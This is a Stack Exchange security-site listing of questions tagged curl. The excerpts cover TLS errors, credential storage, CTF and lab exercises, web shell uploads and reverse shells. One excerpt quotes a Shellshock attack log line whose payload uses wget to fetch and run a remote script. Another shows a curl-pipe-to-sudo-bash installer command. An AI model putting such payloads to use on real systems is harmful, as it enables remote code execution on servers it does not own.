Skip to main content
Share Your Experience: Take the 2024 Developer Survey

Questions tagged [curl]

An open source command line utility for transferring data using URL syntax with support for many protocols including FTP, HTTP, HTTPS, various mail protocols (including IMAP, POP3, and SMTP) and others

Filter by
Sorted by
Tagged with
0 votes
0 answers
90 views

How do I set up a secure .netrc for curl used in crontab job?

I have a cron job which runs a curl command using .netrc to provide authentication needed to access the url curl is using. However the credentials stored in .netrc are currently in plain text. The ....
KevinHJ's user avatar
  • 101
0 votes
1 answer
72 views

cURL not returning status 302 after correct login for Hack the Box Machine 'Crocodile'

cURL is returning a 200 status code after correct login. The common response code after user login should be 302. Why am I not receiving this status code? All information is provided below. #!/usr/bin/...
Michael Sodeke's user avatar
0 votes
0 answers
240 views

How to properly use cURL --data-binary to send a request payload

This question is out of pure curiosity. I know I can send multipart formposts using curl's --form/-F option. However, I was curious to see if the same can be done with the --data-binary option? For ...
Michael Sodeke's user avatar
0 votes
1 answer
100 views

Issue uploading a file with cURL to WebSecurityAcademy Lab on PortSwigger.com

I want to solve an apprentice-level lab on PortSwigger.com focused on file upload vulnerabilities; the lab is called Remote code execution via web shell upload. The labs on PortSwigger.com encourage ...
Michael Sodeke's user avatar
0 votes
2 answers
159 views

Post Exploitation in Oracle web logic server 10.35 (Oracle Linux Server 3.8)

Web Server : Oracle WebLogic 10.35 Machine : Oracle Linux Server 3.8 I was able to partially exploit this CVE. I can execute any command on server using HTTP request and redirecting its output to a ...
Abu Bakar's user avatar
1 vote
3 answers
2k views

How to block a POST curl request

My WordPress website received a couple of fake subscriptions to the newsletter. I identified the logs, most of them with the same form as below: xx.xx.xx.xx example.com - [04/Feb/2023:06:01:42 +0100] &...
made leod's user avatar
1 vote
1 answer
4k views

is it necessary for cURL to check for CRL in Windows?

I'm trying to set up cURL to get data from remote server at any sitaution. I use --tlsv1.3 --tls13-ciphers TLS_CHACHA20_POLY1305_SHA256 --http2 to make it as secure as I can think of, using Windows 11....
user avatar
1 vote
1 answer
100 views

Validate HTTPS traffic at later time [duplicate]

I want to capture HTTPS traffic, save it, and validate it at a later time. I want to ensure that at a later time I'm able to validate the HTTPS traffic using the certificate which was presented at the ...
user avatar
0 votes
1 answer
762 views

Url only works from the browser it is generated from. Copying it into a Curl Command fails, and gives a 403 error. How can I fix this?

I am doing some web scraping for streaming files, .m3u8 mime type. In this particular instance, I can't create a functional request that does not end up with a 403 Forbidden error. How to reproduce: ...
Jannies - They do it for free's user avatar
0 votes
1 answer
324 views

Does using the "-k" flag with curl disable only the certificate verification?

I'm writing an API which is running on my own web server written in Go. I have a local environment set up to run it all under HTTS using a self signed cert and it all works great. It all works and I ...
Sam Wood's user avatar
  • 103
1 vote
1 answer
3k views

SSL error when using curl with only trusted root certificate but server is already returning full certificate chain

My SSL server uses the following certificate setup: leaf -> intermediate -> root (trusted ca). I have verified using openssl that it's returning both leaf and intermediate certificate (at least ...
RandomQuestion's user avatar
0 votes
0 answers
3k views

Certificate subject name 'xxx' does not match target host name 'yyy' [duplicate]

I have golang app that works as server which a single client accesses by the IP hostname (aaa.bbb.ccc.ddd). Trying to implement mTLS. Since I have only one client, its cert/key pair (myclient.crt/...
ssl-desesperado's user avatar
0 votes
1 answer
1k views

Does copying cookies allow attackers to view pages that should be visible only after login?

TLDR; Copying the request from ChromeDevTools along with all cookies allows me to view pages that I should not be able to view after logging in. Have I been pwned ? I just found a terrifyingly easy ...
ng.newbie's user avatar
  • 275
1 vote
1 answer
368 views

Why if a server response contain both Public: TRACE and Allow: TRACE then responds with 405 NOT allowed?

SCENARIO: I'm testing a web application. To test if TRACE is enabled I used both nmap --script http-methods target.com and curl -k -i -X OPTIONS target.com After running the former I get 443/tcp ...
Maicake's user avatar
  • 567
1 vote
1 answer
1k views

Can it be dangerous to curl without any option an HTTP address?

I wanted to know my external IP address from the command line. I found this answer on Ask Ubuntu: Command for determining my public IP? which suggests to use curl -s https://checkip.dyndns.org | sed -...
vvvvv's user avatar
  • 111
0 votes
2 answers
2k views

Can't execute shell i uploaded with cURL

I uploaded a PHP web shell to a site, and to bypass the file upload restriction, I used a .php.jpg extension. When I open my shell with a web browser, it doesn't execute (confirmed with a packet ...
arsenic's user avatar
18 votes
5 answers
14k views

HTTPS connection to specific sites fail with cURL on macOS

On my Mac, HTTPS connnections to certain sites fail using the built-in curl binary of macOS 10.14. They work fine with different browsers, as well as other builds of cURL on the same system. One of ...
F30's user avatar
  • 451
2 votes
1 answer
259 views

Seems my CNAMEs got "curled". Somebody please explain this to me

According to my CloudFlare firewall logs, somebody went through each of my subdomains. My website is not advertised, it doesn't even show on Google unless typing the exact domain name into it. I think ...
Mere Mortal's user avatar
1 vote
0 answers
103 views

Is it possible to exploit php curl? [duplicate]

I have been working on a project and I wonder if it's possible to exploit curl_exec function while in PHP. Scenario: I have the PHP script that checks a domain for me, but the curl is not secured, ...
BaiHui's user avatar
  • 23
0 votes
0 answers
639 views

Linux curl SH script broken unless I specify TLS version

I was going to post this on a different SE site, but I found that explicitly stating --tlsv1.1 to curl fixed the problem, for now. My question now relates to security. A vendor switched to FTPS (not ...
user208145's user avatar
3 votes
1 answer
1k views

Sending a reverse shell command through the drupalgeddon vulnerability isn't working

I'm trying to use the Drupalgeddon2 exploit (https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708) on drupal 7.57 ubuntu machine. the requests: -curl -k -s 'http://192.168.204.141/?q=...
Non Fungible Person's user avatar
0 votes
1 answer
10k views

What is the meaning of this TLS output: TLSv1.2 (OUT), TLS alert, Client hello (1)

I'm downloading a small sample tar file using curl and outputting verbose log to see the details: curl -v -H 'Connection: close' https://ftp.gnu.org/gnu/gcc/gcc-2.95.1/gcc-objc-2.95.1.tar.gz > /...
Josh's user avatar
  • 3
56 votes
8 answers
12k views

Is `curl {something} | sudo bash -` a reasonably safe installation method?

The most straightforward way to install NodeJS on Ubuntu or Debian seems to be Nodesource, whose installation instructions say to run: curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash - ...
Krubo's user avatar
  • 849
0 votes
1 answer
197 views

How to securely host downloadable source code

As a follow up to The most secure way to allow downloading and installing an app on Mac, Windows, or Linux, I am wondering how one (such as I) may go about creating a new framework for hosting ...
Lance's user avatar
  • 632
0 votes
1 answer
2k views

Unable to intercept android app traffic neither in Burp Suite nor in Network Profiler. Can anyone help?

I need to perform MITM attack on an app which doesn't use HttpURLConnection and OkHttp libraries for network connection. Analysis : Configured burp on the devices, able to capture request of Chrome ...
Chacha's user avatar
  • 1
37 votes
3 answers
11k views

Is it insecure to send a password in a `curl` command?

Here’s an example request we can make to the GitHub API: curl 'https://api.github.com/authorizations' --user "USERNAME" This will prompt for the account password, to continue: Enter host password ...
user137369's user avatar
0 votes
2 answers
763 views

Will it be a crime if I post data into someone's website using cURL? [closed]

I found a website which is not secure and tried to post a form on that site using cURL request in PHP and it worked successfully. However, that is a simple site with contact form and no special or ...
Vinit Singh's user avatar
3 votes
2 answers
661 views

Can cURL block a rogue CA?

I know which Certificate Authority (CA) my server uses for its TLS certs. My client system also knows who the CA is. When I use cURL, I can specify --cacert to specify a custom CA file to use, but ...
StampyCode's user avatar
8 votes
2 answers
5k views

Certificate works in Chrome + Firefox but not with curl ("unable to get local issuer certificate") with the recent cacert.pem

I am trying to connect to a site behind a firewall, that is why I cannot share the URL for verification. $ curl -vvvv https://example.com:8080/foo/ba/?wsdl --cacert /tmp/cacert-2018-12-05.pem * ...
Alex's user avatar
  • 1,457
0 votes
1 answer
8k views

ssl handshake failure unable to get local issuer certificate

I have an issue with new integration that I am working on it. I should consume a web service provided by external company and this service is over https, so in order to integrate with them, they have ...
mzaje18's user avatar
1 vote
3 answers
14k views

Leveraging curl to spawn a shell

So I'm doing a HTB challenge where I have leveraged the targets box use of reading a file that sets a url for curl in order to transverse down the directory and display the root flag in a report that ...
3therk1ll's user avatar
  • 147
5 votes
4 answers
22k views

Is it possible to execute a local file or code from cURL?

I wonder if it is possible to execute bash code or a local file from cURL, that is, using the following syntax: curl "local file" I was looking for possible solutions and found that to read the ...
Julián's user avatar
  • 249
0 votes
1 answer
924 views

Secure file encryption with OpenSSL and a little trick?

I try to really securely encrypt a file with OpenSSL. I´m new to OpenSSL and just read here, that it´s not very secure due to it´s behavior in generating salt & IV, and storing it within the ...
user3475261's user avatar
0 votes
1 answer
237 views

How curl provided source code that the browser did not?

I was playing a CTF and got stuck. When seeing the source code through web browser reveals nothing but when we send the request through curl it reveals out HIDDEN directory. How is it even possible? ...
Utkarsh Agrawal's user avatar
2 votes
2 answers
240 views

Network provider blocking URL, even though connection made to IP

I came across an interesting case today, which with my limited knowledge I'm unable to understand the working of. I was trying to access a bit.ly link, but it is blocked by my University. Knowing ...
poiasd's user avatar
  • 63
0 votes
1 answer
217 views

Extra secure layer to cURL calls

I'm trying to figure out how to add an extra security layer to my WebApp cURL calls going to my API Engine. I have a WebApp that sends data to an API engine I made. My API will have access to the ...
Mr.Web's user avatar
  • 103
-1 votes
1 answer
452 views

Unable to utilise curl commands on website [closed]

There is a free online SMS service called globfone which allows you to send free text messages via their website. However, I'm looking to integrate this functionality into a script through curl. But ...
John Greeny's user avatar
0 votes
3 answers
3k views

Is there any security threat of using 'curl https://ipinfo.io/ip' to find our IP?

I need to find out the public-ip of an EC2 instance. I was trying this command: curl https://ipinfo.io/ip Is there any security threat of using that method? Like exposing our IP or something?
Neron Joseph's user avatar
2 votes
1 answer
205 views

Is my application affected by curl vulnerabilities if using HTTPS with a single server?

To this day two vulnerabilities are known in curl 7.57.0. Both are related to HTTP: HTTP authentication leak in redirects HTTP/2 trailer out-of-bounds read My application uses this version of curl ...
user10101's user avatar
  • 143
0 votes
1 answer
2k views

TLS header in content portion of HTTPS POST request hot handled well

We are trying to communicate from an embedded application to a device via HTTPS protocol. We are having difficulty doing so from the embedded application but can do so successfully from say Windows ...
C. Brady's user avatar
4 votes
2 answers
1k views

Do browsers and tools send `SNI` field by default connecting to https endpoints?

I am setting up HaProxy for https in passthrough (tcp) mode without SSL/TLS termination. I want to be able to route traffic to different backends based on hostname requested by a client. From HaProxy ...
Kirill's user avatar
  • 143
0 votes
0 answers
142 views

Resources explaining why `curl | bash` and similar installation instructions are a security hazard?

I'm getting tired of explaining to people why downloading some arbitrary text file (script) from the internet with curl or wget or whatever and executing it with bash or some other script interpreter ...
cas's user avatar
  • 121
1 vote
2 answers
2k views

CURLOPT_SSL_VERIFYPEER and potential security issues

In PHP/curl I coded a simple login to a WordPress-based website to login to WP from a mobile client (an iOS app). The website supports https, it is hosted in a shared hosting environment and the ...
3000's user avatar
  • 111
71 votes
1 answer
10k views

Why is there no certificate error while visiting google.net although it presents a certificate issued to google.com?

The following output shows that google.net is presenting a certificate that has been issued to www.google.com. $ openssl s_client -connect google.net:443 < /dev/null > out.txt 2>&1; cat ...
Lone Learner's user avatar
4 votes
1 answer
2k views

Can the real IP address leak using curl via Tor?

Having seen Tor via Python - can the real IP address leak? I am no longer sure whether or not using curl -L --insecure -C - --socks5 localhost:9150 -H "User-Agent: " check.torproject.org is as ...
FtDUh7dGg8's user avatar
1 vote
1 answer
391 views

Is it possible to exploit a server using an C library with a vulnerability?

A server has an old libcurl with the vulnerability CVE-2013-2174. As the documentation says: it unlikely that programs allow user-provided strings unfiltered into this function. My question is: ...
Rodrigo's user avatar
  • 327
2 votes
2 answers
5k views

Are there risks to allowing cURL from my machine?

I currently have several update scripts that I run periodically, which use curl to pull and install updates from various places. In my current configuration however, I have curl blocked by my firewall,...
orome's user avatar
  • 333
8 votes
1 answer
1k views

Shellshock Exploit evidence - is this a successful attack

I was looking through logs today and noticed the following: 62.219.116.107 - - [26/Dec/2016:15:16:08 -0100] "GET / HTTP/1.0" 200 13501 "-" "() { :;}; /bin/bash -c \"wget http://[redacted]/bo.pl -O /...
Twenty Five's user avatar
1 vote
1 answer
3k views

Unable to use PUT method on server seemingly allowing PUT [closed]

I've just scanned a target and noticed that HTTP PUT is allowed. So, just to verify I used nmap: # nmap --script http-methods <IP> Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-11-11 ...
SaAtomic's user avatar
  • 1,019
7 votes
1 answer
25k views

Make server return "Unable to split netmask from target expression"

I'm interested in making my website a lot more secure and, while playing about scanning other websites, I found that one website responds to nmap traceroute, curl and wget console commands in such a ...
user avatar